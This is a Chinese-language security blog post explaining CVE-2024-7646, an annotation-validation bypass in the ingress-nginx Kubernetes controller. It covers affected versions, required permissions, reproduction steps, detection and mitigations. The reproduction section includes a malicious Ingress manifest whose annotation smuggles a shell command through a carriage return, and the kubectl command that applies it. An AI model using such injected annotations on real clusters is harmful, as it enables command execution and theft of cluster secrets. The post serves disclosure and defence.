0x00 前言
8月5日，读者群的读者向我们的小猫咪客服推荐了【云原生与微服务架构论坛】，有铲屎官听过该论坛的一个嘉宾的分享，觉得很不错。
8月18日，小猫咪客服在收集资料时，发现上次说到的嘉宾的公众号更新了一篇名为《Ingress-NGINX 最新 8.8分高危漏洞》的文章，于是发布到群里。
紧接着，有读者对该漏洞进行了检索，并分享了一篇不错的博客：
该漏洞虽然非常热乎，但有非常详细的分析文章，由于许多企业并未遵循最小权限原则，严格执行基于角色的访问控制（RBAC），因此该漏洞需要安全专家和DevOps 团队立即关注起来。
CVE-2024-7646影响ingress-nginx 控制器，允许攻击者绕过注释验证，执行恶意命令并未经授权访问敏感的集群资源。因此，该漏洞的CVSS v3.1 基本分数为 8.8，威胁等级为高危。那么高的分数反映了该漏洞会产生重大影响的可能性，包括受影响系统的机密性、完整性和可用性完全受损。
0x01 简介
Ingress-nginx 是一个流行的可用于管理集群内服务的外部访问的 Kubernetes Ingress 控制器。它充当反向代理和负载均衡器，并根据定义的规则将传入的 HTTP 和 HTTPS 流量路由到适当的服务。
这个安全漏洞是由 ingress-nginx 在验证 Ingress 资源上的注解时的一个错误引起的。在 Kubernetes 系统中，annotations用于附加任意的、不用于识别的元数据信息到资源上。对于 ingress-nginx，annotations被用来设置入口控制器的不同行为。
这个漏洞使得攻击者能够将恶意内容注入到特定的annotations中，从而绕过原本的验证机制。这可能会引起任意命令的注入，以及可能获取到 ingress-nginx 控制器的凭证，按照默认配置，该控制器有权访问集群内的所有secret。
0x02 受影响的版本
| 控制器 | 受影响的版本 |
|---|---|
| ingress-nginx | < v1.11.2 |
0x03 所需权限
要利用此漏洞，攻击者需要以下 Kubernetes RBAC 权限：
- 拥有在
networking.k8s.io或 extensions API 组下创建或修改 Ingress 资源的权限。 - 至少需要能够进入一个命名空间，以便在其中创建相应的 Ingress 资源。
这些权限往往赋予了负责部署应用的开发人员或服务账号，这使得在没有严格执行最小权限原则的环境中，该漏洞的危害性尤为严重。
0x04 复现步骤
4.1 确定目标
若攻击者拥有创建 Ingress 资源的权限，首先会去找安装了ingress-nginx 的集群，并确定该ingress-nginx是否处于受影响的版本范围之内。
4.2 制作恶意 Ingress 对象
攻击者使用特制注释创建 Ingress 对象，其中包含回车符 (\r) 来绕过验证。
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: malicious-ingress
# 执行恶意命令
annotations:
nginx.ingress.kubernetes.io/auth-tls-verify-client: "on\r$(id > /tmp/pwned)"
spec:
rules:
- host: example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: example-service
port:
number: 80
annotations字段用于添加额外的元数据或配置来给Ingress 控制器或其他插件使用，以便在处理请求时应用特定的规则或行为，例如：
- 配置NGINX Ingress 控制器，启用TLS 客户端认证：
annotations:
nginx.ingress.kubernetes.io/auth-tls-verify-client: "on"
- 配置 AWS 负载均衡控制器的类型，使用网络负载均衡器（nlb）
annotations:
service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
这些注释的值通常是一些字符串，但也可以根据目的和实现方式，包含一些复杂的内容，例如使用回车符（\r）绕过验证：
annotations:
nginx.ingress.kubernetes.io/auth-tls-verify-client: "on\r$(id > /tmp/pwned)"
4.3 应用恶意Ingress
然后再将该Ingress 对象应用到该集群中。
kubectl apply -f malicious-ingress.yaml
4.4 命令执行
当ingress-nginx 处理这个 Ingress 对象时，因为无法验证注释，从而导致所注入的恶意命令被执行。
id > /tmp/pwned
4.5 凭证
一旦攻击者成功执行了命令，他们就可能获取到 ingress-nginx 控制器的认证信息，这些信息在集群中可能拥有广泛的访问权限。
0x05 风险分析
以下Kubernetes 环境将受到特别高的威胁：
- 非管理员用户有权创建 Ingress 对象的多租户 Kubernetes 环境。
- 使用默认配置部署 ingress-nginx 的集群，授予对集群 secret的广泛访问权限。
- 没有严格的 RBAC 策略来限制谁可以创建或修改 Ingress 对象的环境。
0x06 检测方法
- 检查是否安装了
ingress-nginx。
kubectl get po -A | grep ingress-nginx-controller
- 若已安装，请检查版本。
kubectl exec -it <ingress-nginx-pod> -n <namespace> -- /nginx-ingress-controller --version
0x07 缓解措施
- 更新 ingress-nginx的版本：将ingress-nginx 升级至v1.11.2 或更新的版本。
- 检查Ingress 资源：对现有的Ingress 资源进行审计，检查是否有任何可疑的注释，特别需要检查是否包含回车符（
\r）。 - 执行严格的基于角色的访问控制（RBAC）：只允许受信任的用户和服务账户创建和修改 Ingress 资源。
- 开启 Kubernetes 的审计日志功能：寻找是否存在利用该漏洞的行为。
- 采用准入控制：部署
ValidatingAdmissionWebhooks，以对 Ingress 资源及其注解进行更严格的校验。
0x08 总结
CVE-2024-7646 事件提醒我们，保护 Kubernetes 环境的安全是一项持续进行、永无休止的任务。在 ingress-nginx 这类关键组件中绕过注解验证的能力凸显了保持软件最新、执行严格访问控制和持续监测安全威胁的重要性。
随着 Kubernetes 在信息技术基础设施中的影响力日益增强，保持警觉并积极采取措施确保其安全变得尤为关键。定期进行安全审查、及时更新补丁以及遵循角色基础访问控制（RBAC）和网络安全策略的最佳实践，是确保强大安全防护的关键策略。
请记住，为了保持安全，您需要不断更新系统，并确保您的 Kubernetes 集群能够抵御新出现的威胁。您可以从使用安全工具与平台对您的集群进行扫描开始，以获取关于您安全状况的最新信息。
详情请看Kubernetes 官方的安全公告：
CVE-2024-7646: Ingress-nginx Annotation Validation Bypass
本文为【pre-post】系列文章，任何好的内容都有义务更快地提供给读者，因此我们并未对该漏洞进行深入的分析，您可进入我们的读者交流群，与专家大佬们进行深入的探讨～
更多分享，关注微信公众号：喵苗安全
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。
本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）
